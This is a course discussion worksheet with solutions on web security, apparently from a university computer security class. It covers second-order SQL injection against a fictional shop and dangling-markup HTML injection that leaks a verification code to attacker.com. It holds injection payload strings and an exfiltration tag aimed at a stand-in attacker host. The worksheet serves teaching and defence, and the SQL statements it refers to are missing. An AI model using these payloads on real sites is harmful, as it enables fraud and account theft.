Weaver CS 161 Fall 2020 Computer Security	Discussion 7
--	--------------

## Web Security I

## Question 1 Second-order linear... err I mean SQL injection () Alice likes to use a startup, NotAmazon, to do her online shopping. Whenever she adds an item to her cart, a POST request containing the field item is made. On receiving such a request, NotAmazon executes the following statement:

Each item in the cart is stored as a separate row in the cart table.

(a) Alice is in desperate need of some toilet paper, but the website blocks her from adding more than 72 rolls to her cart ©Describe a POST request she can make to cause the cart\_add statement to add 100 rolls of toilet paper to her cart.

Solution: Note that Alice can see her own cookies so knows what sessionToken is. She can perform some basic SQL injection by sending a POST request with the item field set to:

```
toilet paper'), ($sessionToken, 'toilet paper'), ... ; --
```

Where \$sessionToken is the string value of her sessionToken and (\$sessionToken, 'toilet paper') repeats 99 times. A similar attack could also be done by modifying the sessionToken itself

When a user visits their cart, NotAmazon populates the webpage with links to the items. If a user only has one item in their cart, NotAmazon optimizes the query (avoiding joins) by doing the following:

After part(a), Alice recognizes a great business opportunity and begins reselling all of NotAmazon's toilet paper at inflated prices. In a panic, NotAmazon fixes the vulnerability by parameterizing the cart\_add statement.

(b) Alice claims that parameterizing the cart\_add statement won't stop her toilet paper trafficking empire. Describe how she can still add 100 rolls of toilet paper to her cart. Assume that NotAmazon checks that sessionToken is valid before executing any queries involving it.

Solution: Alice can send a malicious POST request like part (a). Even though her input won't change the SQL statement from (a), it will still store her string in the database. Now, if she visits her cart we'll execute the optimized query. Note that link\_query doesn't have any injection protections, so her input will maliciously change the SQL statement. The item field in her POST request should be something like:

```
toilet paper'; INSERT INTO cart (session, item) VALUES
($sessionToken, 'toilet paper'), ...; --
```

Moral of the story: Securing external facing APIs/queries is not enough.

## Question 2 Cross-site not scripting

Consider a simple web messaging service. You receive messages from other users. The page shows all messages sent to you. Its HTML looks like this:

The user is off buying video games from Steam, while Mallory is trying to get ahold of them.

Users can include **arbitrary HTML code** messages and it will be concatenated into the page, **unsanitized**. Sounds crazy, doesn't it? However, they have a magical technique that prevents *any* JavaScript code from running. Period.

Discuss what an attacker could do to snoop on another user's messages. What specially crafted messages could Mallory have sent to steal this user's account verification code?

```
Solution:

Mallory: Hi <img src="https://attacker.com/save?message=

Steam: Your account verification code is 86423

Mallory: "> Enjoying your weekend?
```

This makes a request to **attacker.com**, sending the account verification code as part of the URL.

Take injection attacks seriously, even if modern defenses like Content Security Policy effectively prevent XSS.

()